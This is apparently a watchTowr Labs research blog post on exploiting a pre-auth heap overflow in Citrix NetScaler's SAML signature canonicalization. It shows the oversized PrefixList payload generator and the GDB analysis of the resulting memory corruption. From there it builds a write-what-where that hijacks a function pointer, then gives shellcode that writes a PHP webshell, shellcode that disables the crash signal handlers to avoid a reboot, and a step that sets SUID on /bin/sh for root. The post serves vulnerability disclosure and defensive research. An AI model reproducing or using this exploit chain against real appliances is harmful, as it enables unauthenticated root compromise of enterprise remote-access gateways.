# You’re Back In The Room (Citrix NetScaler Pre-Auth RCE CVE-2026-8452(?))

Suddenly, you’re in a room. You look around – oh, you’re surrounded by other new starters at your new job. Yes, it’s Monday, and you’re being onboarded.

You know the drill – it’s the typical enterprise “please don’t be a bad person or we may have to fire you” speech. But, you know what’s coming soon. It’s your favorite part of the onboarding process when you’ve started a new role.

It begins! The password policy requirements. You straighten your tie, because sure as heck, your SSLVPN credentials will not be the starting point for this organization. Not this time. Not again. You swore to yourself that you’d use a symbol this time.

Wait, did they just say NetScalers?

The world freezes around you. How are you back in the hellscape? You panic – what does a symbol matter in comparison to the traumatic nightmares you relive every day?

You realize the truth – nobody cares whether your password has a symbol or not. It’s already over for you.

**Welcome back to another watchTowr Labs blog post.**

It’s been three years since the last publicly documented NetScaler RCE writeup.

ChatGPT tells us that today we’re changing that. Exciting.

In this post, we’re going to walk through a vulnerability that was resolved as part of a recent NetScaler ADC and NetScaler Gateway Security Bulletin. As part of this bulletin, Citrix subtly? silently? loudly? patched a Heap Overflow vulnerability that we’re going to walk through today and show how it can be used to achieve Remote Code Execution.

### Who Is Citrix NetScaler, and Why Is A Gateway Their First C Project?

Citrix NetScaler (formally rebranded, then un-rebranded, in the way that only enterprise networking vendors can truly pull off) is a family of application delivery controllers and VPN gateway appliances found in virtually every large enterprise network on the planet. NetScaler handles load balancing, SSL offloading, authentication, and remote access – and NetScaler Gateway specifically serves as the front door for thousands of organizations’ remote access infrastructure.

### Setting The Scene

To fuel today’s analysis, we’re analyzing and leveraging a vulnerable NetScaler 13.1 appliance, configured to leverage SAML.

> **Note:** We’ve intentionally removed the exact build number used during exploit development. You don’t need it. Sorry (not sorry).

For those wondering what is actually vulnerable, based on our testing, the vulnerability we’re discussing today is reachable when the Netscaler appliance is configured to use SAML as either a Service Provider (SP) or an Identity Provider (IdP).

Citrix lists the following versions as affected:

– NetScaler ADC and NetScaler Gateway 14.1 BEFORE 14.1-72.61
– NetScaler ADC and NetScaler Gateway 13.1 BEFORE 13.1-63.18

### What Are We Looking At Today?

This is where things get a little confusing, annoying, or mysterious – your choice of word reflects your commitment to **the pledge**.

While we’d love to tell you we are **definitely** analyzing CVE-2026-8452, typical Citrix shenanigans (in our view) prevent us from doing so. However, we believe this is CVE-2026-8452 given its description as a “Memory Overflow” vulnerability.

While Citrix doesn’t correlate individual CVEs with the researchers credited in the advisory, one of the researchers credited is Michael Tucker from the XOR team at JPMorgan Chase (the others include ourselves, and we can rule out our vulnerabilities).

Adding fuel to our baseless theory, this vulnerability is interesting and complex enough that it’s plausible that this is the output of Mythos-aided research – the model JPMorgan very publicly has access to.

Do we have any evidence of that?

Absolutely not.

Is it fun to speculate?

Always.

Do we have better things to do?

### Anyway, Let’s Get Into it

As part of our typical analysis process, especially when dealing with multiple patched vulnerabilities bundled into a single fix, we didn’t start with a specific focus. Instead, we asked, “What changed?”

Specifically the `nsppe` binary, NetScaler’s packet-processing engine, showed a significant amount of changes – with plenty of stripped symbols thrown in for good measure.

Faced with the prospect of asking Diaphora to diff 39,637 functions, we just screamed – nobody was happy.

After magic, laborious pain, and a slight distrust towards Secure by Designers, we were left with 174 changed functions to review.

Amongst these changes, we spotted a bunch of changes in the SAML authentication functionality. One change in particular, however, turned out to be particularly interesting: an unauthenticated, remotely reachable memory corruption.

A specific change caught our attention – the `63.18` patch adds explicit size checks around these copies, which, conveniently for us, is exactly what led us to the vulnerability in the first place.

During signature canonicalization, earlier versions of the NetScaler solution copy attacker-controlled data from the SAML message’s `ds:SignedInfo` element into a fixed-size global buffer, without checking whether it actually fits.

Send an oversized `SignedInfo` element and the copy continues beyond the end of the buffer, corrupting adjacent packet-engine state and eventually crashing `nsppe`, the root packet engine.

For example:

“`
[..SNIP..] v73 = (int)v191 + 46LL; if ( v73 >= 0x1001 ) { if ( (*((_BYTE *)off_2E26480 + 12682) & 1) != 0 || (*((_BYTE *)off_2E26480 + 655736) & 8) == 0 ) goto LABEL_92; sub_142E640((unsigned int)v195, 25, 603, 3, 0, 0, 0); v48 = sub_208CB90( LODWORD(v195[0]) + 56, 1156, (unsigned int)”SAML signature validation failed: SignedInfo size (%u bytes) is too large (inline ns)”, v73, v93, v94, v164); v50 = v195[0]; *(_WORD *)(v195[0] + 12LL) = v48; v51 = v48; if ( v48 < 0x485u ) goto LABEL_83; v78 = “SAML signature validation failed: SignedInfo size (%u bytes) is too large (inline ns)”; LABEL_82: v55 = sub_208CB90((unsigned int)&unk_3872B10, 0x3FFF, (_DWORD)v78, v73, v76, v77, v162); goto LABEL_87; } [..SNIP..]
“`

### The Poor Man’s Introduction to SAML

When someone sends NetScaler a signed SAML message, NetScaler (because it’s a security appliance) needs to check that the signature is real. For the purposes of ???? however, it doesn’t sign the whole message. Instead, it signs one small block inside it called “

Think of SignedInfo as a little “receipt” that says: here’s what I’m signing, and here’s how. The actual signature is calculated over that receipt. So SignedInfo is the piece that really matters; check it, and you’ve checked the signature.

A signed message looks like this:

“`
… …
“`

One thing you have to know first: **”canonicalization”**

The same XML can be written many slightly different ways; extra spaces, attributes in a different order, line breaks, etc, and still mean the same thing. That’s a problem for signatures, because a signature is math over exact bytes: change one space and logically the math breaks, even though nothing important changed.

So before hashing SignedInfo, both sides first rewrite it into one standard, tidied-up form. This clean-up step is called canonicalization (often shortened to “c14n”). Both the sender and NetScaler perform the same cleanup, so they end up hashing the same bytes.

This clean-up step is where the bug lives. To tidy up SignedInfo, NetScaler has to build the cleaned-up text in a memory buffer and that buffer is a **fixed size**.

What’s inside SignedInfo?

SignedInfo always has three parts:

“`

“`

1. `CanonicalizationMethod` specifies which clean-up rule to use. It has an Algorithm attribute (a URL naming the method). When one particular method (“exclusive” clean-up) is used, it can hold a child element:
– “ and this PrefixList is just a list of words the sender chooses.
2. `SignatureMethod` says which signature algorithm was used (e.g. RSA with SHA-256). Just an Algorithm attribute.
3. `Reference` points at the actual thing being signed (in SAML, usually the assertion). It has a URI attribute and a few children: a list of Transforms (more processing steps, which can also contain a PrefixList), a DigestMethod (which hash to use), and a DigestValue (the hash itself).

Remember, canonicalization has to copy that text into a fixed-size buffer. So if you’re asking “what part of SignedInfo could an attacker make huge?”, the answer is …..

### So… We Just.. Blasted…

While messing around and fuzzing every attribute we could find, we found that most of them either had their own checks or were limited to a small set of constant values.

But one attribute behaved a little differently – `PrefixList`.

Unsurprisingly (it’s a NetScaler), things started getting interesting.

A bit of reversing showed that `PrefixList` can contain pretty much any string. The only catch is that each space-separated value has to be unique.

So, instead of using `AAAA AAAA AAAA AAAA` we started using unique markers such as `N0000 N0001 N0002 N0003` :

“`

“`

So lets try making something like this:

“`
[..SNIP..] prefix_list_overflow = ” “.join(f”N{i}” for i in range(2000)) # -> “N0 N1 N2 N3 … N1999″ inclusive_ns = f” [..SNIP..]
“`

So let’s try making something like this:

And decoded..:

Boom – it’s NetScaler “unintended intended functionality” time:

“`
Program received signal SIGBUS, Bus error. 0x000000001c6dea0 in ??()
“`

### Understanding The Unintended Intended Functionality

Due to the lack of symbols, initially, we had no idea where we were actually crashing. After recovering a few symbols and loading them into our GDB session, things started to become a little clearer.

Triggering the crash again gave us this:

“`
Program received signal SIGBUS, Bus error. 0x000000001c6dea0 in ns_memcpy_avx ()
“`

Looking at the crashing instruction shows that the $rax register is about to get dereferenced, but because it contains some invalid value, we’re getting a SIGBUS error:

“`
(gdb) x/i $rip => 0x1c6dea0 : vmovdqu YMMWORD PTR [rax], ymm0 (gdb) p/x $rax $1 = 0x4d4d4d4d4d4d43d3
“`

Very quickly, a note on `SIGBUS`, because this threw us off at first. On FreeBSD, invalid memory accesses like this can result in a `SIGBUS` rather than the `SIGSEGV` you might expect to see on Linux.

But here’s the important part: those `0x4d` bytes are ours. We deliberately filled part of the overflow with `M` characters ( `0x4d`) as an obvious marker. Seeing `0x4d4d4d4d4d4d4d4d` inside a pointer used by `memcpy` tells us that our data has made it into the allocator metadata.

You might also notice that the lower bytes are `0x43d3` rather than `0x4d4d`. That is not corruption, but instead is the result of some arithmetic, which we’ll come back to shortly.

From what we could tell from the initial crash state and backtrace, the crash wasn’t happening at the point of the overflow itself.

Instead, it happened later, when NetScaler retrieved a chunk from the freelist containing metadata that we’d already corrupted:

“`
(gdb) bt #0 ns_memcpy_avx () #1 0x00000000015d128b in splitPktInner () #2 0x00000000015d2a40 in splitPkt () #3 … in nstcp_send_nsb () #4 … in the aaad send path
“`

Because we smashed the metadata during canonicalization, the program happily carried on running. It only fell over later, when that same chunk was pulled back from the freelist, and NetScaler tried to use the corrupted metadata.

In other words, the crash inside `ns_memcpy_avx` is nowhere near the actual overflow. Staring at the crash itself wasn’t going to tell us much.

And so began a game of whack-a-mole. We started placing breakpoints on functions throughout the backtrace and working our way backward. Eventually, we landed on `splitPktInner`. After decompiling the function, setting a breakpoint, and triggering the overflow again, we spotted something useful.

We had control of the value being passed in `rdi`:

“`
Program received signal SIGBUS, Bus error. 0x00000000015d128b in splitPktInner () (gdb) p/x $rdi $1 = 0x4d4d4d4d4d4d43d3 # dest = poisoned nsb+0x50, mangled by an internal subtraction
“`

The `splitPktInner` function calls `memcpy` at around `0x15D128B`. Inspecting the arguments just before that call showed us something interesting:

“`
// a3 is a freshly-allocated chunk that we are corrupting its header via the overflow // a1 is a ptr to a chunk holding our canonicalized data memcpy(*(a3 + 0x50), // DEST = poisoned data pointer *(a1 + 0x50), // SRC = our canon *(a1 + 0xE0) – *(a1 + 0x50)); // LEN = packet length
“`

So where did that 0x43d3 come from?

We said earlier that `0x43d3` was math rather than corruption, so here’s the math. We planted a block of `M` bytes at `a3+0x50`, but `splitPktInner` doesn’t use that value raw. It adjusts it by the packet length before handing it to the `memcpy`, which works out to:

“`
dest = *(a3+0x50) – pktlen
“`

Our packet was `0x97A` (2426) bytes, so:

“`
0x4D4D4D4D4D4D4D4D our planted M tag at a3+0x50 (“MMMMMMMM”) – 0x0000097A minus the packet length ————————– 0x4D4D4D4D4D4D43D3 the dest ns_memcpy_avx faulted on
“`

So the destination isn’t just “somewhere near our data”. It’s a value we fully control, minus a length we also control. If we want the copy to land on some address X, we adjust the length of our overflow and let the subtraction drop it right on X. Before doing anything fancy, we already have a `memcpy` whose destination is ours.

Ok, but what is the source?

A destination is nice, but a `memcpy` needs something to copy. For a while, we assumed the source was some internal framing header we didn’t control. We were wrong, and it cost us a good chunk of time. The source is `*(a1+0x50)`, and `a1` is the chunk holding our canonicalized `PrefixList`. So the source is ours too.

We confirmed this by inspecting `a1+0x50` at the `splitPktInner` breakpoint, before the copy runs:

“`
(gdb) p/x $rsi # rsi = src = *(a1+0x50) $2 = 0x1124000a0 (gdb) x/32bx $rsi 0x1124000a0: 0x4d 0x30 0x30 0x30 0x30 0x30 0x30 0x30 “M0000000” 0x1124000a8: 0x4d 0x30 0x30 0x30 0x30 0x30 0x30 0x38 “M0000008” 0x1124000b0: 0x4d 0x30 0x30 0x30 0x30 0x30 0x31 0x36 “M0000016” …
“`

Those `M0000000 M0000008 M0000016 …` tokens are our markers, byte for byte. So we now have a `memcpy` copying from our packet to any address we want, which is a write-what-where primitive.

Where exactly are we overflowing into?

Now for the question the crash was really asking. Which chunk did we smash, and how did our tag end up in its `+0x50` field?

The canonicalized `PrefixList` gets packed into an `nsb`, a NetScaler network buffer chunk. These chunks sit back to back in the pool on a fixed stride of `0x980`, each one a small header at the front followed by a data area starting at `+0x180`:

“`
chunk N (a1, holds our canon) chunk N+1 (a3, the one we corrupt) +———————————+ +———————————+ | header | data buffer @ +0x180 | | header | data | | | our canon lives here | | +0x00 type magic | | | | …and keeps going… | ==> | +0x50 data pointer | <– tag | | | | | +0x60 freelist link | | +———————————+ +———————————+ ^ write runs off the end of this data buffer
“`

When the canonical form comes out bigger than the data buffer it’s meant to fit in, it keeps writing regardless, runs off the end of chunk N, and spills straight onto the header of the next chunk. That header holds all the fields the allocator and the packet code trust: the type magic at `+0x00`, the data pointer at `+0x50`, the freelist link at `+0x60`, and so on.

So the overflow is a plain linear write from one chunk’s data area into its neighbor’s metadata. Our `M` tag showing up at `a3+0x50` is just the overflow reaching that neighbor’s `+0x50` field.

### Playing With The Overflow Size

This is where triage turned into an actual plan. For a while, we treated the overflow as one fixed thing: send the big `PrefixList`, get a crash, poke at it. It kept crashing in slightly different places for tiny payload changes, which was maddening.

So we started varying the overflow size to see if we could move the crash elsewhere, on the theory that the size determines which chunk gets clobbered and how deep into its header we reach. A short overflow might only touch the neighbour’s type field. A bigger one reaches `+0x50` and `+0x60`. Bigger still and we run into the chunk after that. And since these chunks come off a freelist, the size also changes, which chunk gets handed back to us as `a3` later on. So the overflow length isn’t a measure of how much damage we do, it’s a dial that picks both the victim chunk and which of its fields we get to own.

At which point we started sweeping it on purpose. Pick a size, break on NetScaler’s allocator (which appears to be `ns_alloc_jumbo_nsb`) and on `splitPktInner`, dump the freshly allocated `a3` header, and see which of our marker bytes landed on which field.

This is exactly why we built the self-describing `N%07d` markers. If a field reads back as `N0000744`, then byte 744 of our `PrefixList` is what landed there, and we know the precise byte to tweak to steer that field. No guessing.

A dump of a smashed `a3` header mid-sweep looked like this:

“`
(gdb) p/x $rdi # rdi = a3, the freshly allocated (and smashed) chunk $3 = 0x112d30000 (gdb) x/gx $rdi # a3+0x00, type magic, now full of our N marker bytes 0x112d30000: 0x303030304e303030 (gdb) x/gx $rdi+0x50 # a3+0x50, the data pointer that steers the copy 0x112d30050: 0x4d4d4d4d4d4d4d4d # our M tag, so we know this field is ours to set (gdb) x/gx $rdi+0x60 # a3+0x60, freelist link we pin to a real chunk 0x112d30060: 0x0000000112d30000
“`

Once we could see, byte for byte, which part of our payload owned which header field, the whole thing stopped being whack-a-mole and became “pick the byte, set the value”. `a3+0x50` steers where the `memcpy` writes. `a3+0x60` gets pinned to a real chunk address so the allocator doesn’t choke on a marker when it walks the freelist. Everything else we leave as harmless `N` markers.

That’s the core primitive: a linear heap overflow that lets us stamp the header of a neighboring chunk, and because one of those header fields is a data pointer that a later `memcpy` trusts, we get to choose where that copy writes.

Next, we sharpen that into a full write-what-where, and from there into RIP control.

### Leveraging A Write-What-Where For RIP Control

So, where we’re at now: we have a `memcpy` where we own both the destination and the source, which is a clean write-what-where. We can drop our bytes at any address we like. The question that matters is a simple one. What do we write, and where?

The big thing working in our favor is that this binary is non-PIE and there’s no ASLR, so every function and every global lives at a fixed, known address. No info leak needed.

Overwriting a function pointer looked like the easiest route. For reasons we never worked out, the `__free_hook` technique didn’t work, so we went looking for NetScaler-specific candidates instead.

After a lot of trial and error, one looked very promising. `pe_tx_pkt` was being executed regularly, and while hunting for a function pointer that gets retrieved and called, we noticed that somewhere inside `pe_tx_pkt` it loads a pointer named `tx_pkt_complete_fptr` and jumps straight to it:

“`
0x1E1A61F: mov rax, cs:tx_pkt_complete_fptr 0x1E1A626: pop rbp 0x1E1A627: jmp rax
“`

This looked perfect. We used the write-what-where primitive to overwrite its value, and immediately got a different crash:

“`
Program received signal SIGSEGV, Segmentation fault. 0x0000000001e1a627 in pe_tx_pkt () (gdb) x/i $rip => 0x1e1a627 : jmp rax (gdb) p/x $rax $1 = 0x303030304e343437 # “744N0000” -> our canon, and this is exactly rax at jmp rax
“`

That `$rax` is ASCII. It’s a chunk of our `PrefixList`, and the `744` baked into it is our marker telling us this landed around byte 744 of our data. So bytes 749 to 756 of the canon are the eight that end up in `tx_pkt_complete_fptr`.

We set those eight bytes to whatever we want `rax` to be, wire them to a parameter, and send again:

“`
(gdb) x/i $rip => 0x1e1a627 : jmp rax (gdb) p/x $rax $2 = 0xdeadbeefdeadbeef # fully controlled now
“`

And there it is. Full control over RIP.

That leaves the fun question. Where do we point it?

### Jumping-To-Shellcode

Our brains went straight to the textbook answer.

The `nsppe` binary lacks almost all of the protections you’d hope to find, and the heap is executable, for reasons known only to Citrix.

There’s no ASLR (naturally), and the address of our heap chunk is always the same on a freshly spawned process, which we can arrange by crashing `nsppe` once to force a respawn. In our testing, on our version of NetScaler, a fresh `nsppe` instance would always have our `PrefixList` data sitting at `0x112d30000` on the heap, RWX.

So we use the write-what-where to overwrite `tx_pkt_complete_fptr` with the address of our shellcode on the heap. `pe_tx_pkt` loads that pointer into `rax`, hits its `jmp rax`, and jumps straight into our shellcode:

Now that we have shellcode execution, the rest should be easy. Right?

Standing on the shoulders of giants before us, we followed their shellcode strategy and used our shellcode to drop a PHP webshell onto NetScaler at the following path:

“`
/var/vpn/theme/x.php
“`

This turned out to be straightforward. All we needed were the `open`, `write` and `close` syscalls to drop the string “ onto disk as a webshell.

Here’s our shellcode:

“`
sc += shellcraft.pushstr(“/var/vpn/theme/x.php”) sc += f””” mov rdi, rsp “”” sc += shellcraft.syscall( SYS_open, “rdi”, O_WRONLY | O_CREAT | O_TRUNC, MODE ) sc += “”” mov r12, rax “”” content = “” sc += shellcraft.pushstr(content) sc += “”” mov rdi, r12 mov rsi, rsp “”” sc += shellcraft.syscall( SYS_write, “rdi”, “rsi”, len(content) ) sc += “”” mov rdi, r12 “”” sc += shellcraft.syscall( SYS_close, “rdi” )
“`

Jumping to the shellcode created the file:

However, we are left with two problems. The first being a host that crashes:

The second? Pitboss.

### The Pitboss Problem

Unfortunately, every time `nsppe` crashes, a process named `pitboss` gets notified somehow, and the entire NetScaler instance reboots.

You might be thinking “well, I don’t care, I’ll wait for it to come back up and then hit my webshell”. To which the answer is:

Yep. None of the files you drop survive a reboot.

And if your next thought is “fine, I’ll just loop on the webshell and hit it before the device has a chance to reboot”, that’s good thinking, but here’s the problem. `nsppe` handles the entire network stack. The moment it crashes, not a single packet gets through.

### Process Continuity And Why It Failed

Once again, the researchers before us had a clean answer to this. The classic move is process continuity: have the shellcode repair everything you corrupted on the way in, so `nsppe` never crashes in the first place.

That wasn’t going to work for us, as we’ve corrupted far too much, and restoring some of the clobbered values would have required an info leak we didn’t have.

### The Solution

After many hours of thinking and fiddling around in the debugger (seriously…), we had an idea. How does `pitboss` know we’ve crashed and that it’s time for a reboot?

If we were building something like this ourselves, there are plenty of ways to do it, but the quickest would be to have the crashing process notify `pitboss` from a signal handler.

Which is exactly what happens here. `nsppe` registers handlers for `SIGSEGV`, `SIGBUS` and friends, and when one fires, the callback lets `pitboss` know that something has gone horribly wrong and the box needs restarting.

So why not neutralize the signal handlers? To do that, we need the `sigaction` syscall:

So we wrote some additional shellcode to tear down every signal handler:

“`
SYS_sigaction = 416 # sigaction for freebsd SIG_IGN = 1 signals = [ 4, # SIGILL 5, # SIGTRAP 6, # SIGABRT 8, # SIGFPE 10, # SIGBUS 11 # SIGSEGV ] sc = “”” xor eax,eax push rax push rax push rax push 1 “”” for sig in signals: sc += f””” mov rsi,rsp xor edx,edx push {sig} pop rdi push {SYS_sigaction} pop rax syscall “””
“`

We crossed our fingers, sent the shellcode across, and went to watch the NetScaler error log, which presented us with an interesting new entry:

Instead of rebooting the entire machine, `pitboss` decided to simply respawn `nsppe`. Which means the webshell our shellcode dropped survives.

BOOM!

Finally, we have code execution!!!

.

.

.

.

but, as nobody?

### From Nobody To Somebody

`nsppe` already runs as root, so our shellcode executes as root too.

Sadly, the webshell is a different story – when we request our freshly written shell, the process that actually executes the PHP is the webserver. Naturally, the webserver runs as `nobody`.

To fix this, we borrowed the same trick from Caleb Gross at Bishop Fox and used the shellcode to set the SUID bit on `/bin/sh`.

Any command we run through the webshell now executes with an EUID of root:

Secure. By. Design.

The research published by watchTowr Labs is powered by the same engine behind the watchTowr Platform, our **Preemptive Exposure Management** solution built for enterprises that refuse to wait for the next satisfying advisory from their scanner vendor.

The watchTowr Platform combines **External Attack Surface Management** and **Continuous Automated Red Teaming** to test your defenses against the vulnerabilities and techniques that matter: the ones real attackers are actually exploiting.